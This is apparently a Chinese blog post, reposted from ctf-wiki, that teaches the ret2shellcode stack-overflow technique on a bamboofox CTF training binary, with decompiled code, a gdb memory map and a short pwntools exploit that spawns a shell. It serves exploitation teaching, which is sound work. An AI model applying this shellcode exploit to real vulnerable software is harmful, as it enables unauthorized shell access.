美文网首页
栈溢出 简本ROP ret2shellcode

栈溢出 简本ROP ret2shellcode

作者: pumpkin9 | 来源:发表于2018-07-15 17:57 被阅读0次

    ret2shellcode

    原理

    ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

    在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

    例子

    这里我们以 bamboofox 中的 ret2shellcode 为例

    点击下载: ret2shellcode

    首先检测程序开启的保护

    1

    可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [sp+1Ch] [bp-64h]@1
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 1, 0);
      puts("No system for you this time !!!");
      gets((char *)&v4);
      strncpy(buf2, (const char *)&v4, 0x64u);
      printf("bye bye ~");
      return 0;
    }
    

    这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。

    gef➤  b main
    Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
    gef➤  r
    Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 
    Breakpoint 1, main () at ret2shellcode.c:8
    8       setvbuf(stdout, 0LL, 2, 0LL);
    ─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
          6  int main(void)
          7  {
     →    8      setvbuf(stdout, 0LL, 2, 0LL);
          9      setvbuf(stdin, 0LL, 1, 0LL);
         10  
    ─────────────────────────────────────────────────────────────────────[ trace ]────
    [#0] 0x8048536 → Name: main()
    ─────────────────────────────────────────────────────────────────────────────────────────────────────
    gef➤  vmmap 
    Start      End        Offset     Perm Path
    0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
    0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
    0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
    0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
    0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
    0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
    0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
    0xf7faf000 0xf7fb2000 0x00000000 rwx 
    0xf7fd3000 0xf7fd5000 0x00000000 rwx 
    0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
    0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
    0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
    0xf7ffb000 0xf7ffc000 0x00000000 rwx 
    0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
    0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
    0xfffdd000 0xffffe000 0x00000000 rwx [stack]
    
    

    通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限

    0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

    那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

    具体的 payload 如下

    from pwn import *
    sh = process('./ret2shellcode')
    shellcode = asm(shellcraft.sh())
    buf2_addr = 0x804a080
    sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
    sh.interactive()
    

    题目

    • sniperoj-pwn100-shellcode-x86-64
      转载自ctfwiki

    期末考了

    偷下懒

    到返回地址的距离求得方法和上文相同

    科普

    pwntools使用简介

    犯的错误

    栈的概念理解错

    果然pwn是个很恐怖的东东

    相关文章

      网友评论

          本文标题:栈溢出 简本ROP ret2shellcode

          本文链接:https://www.haomeiwen.com/subject/uemppftx.html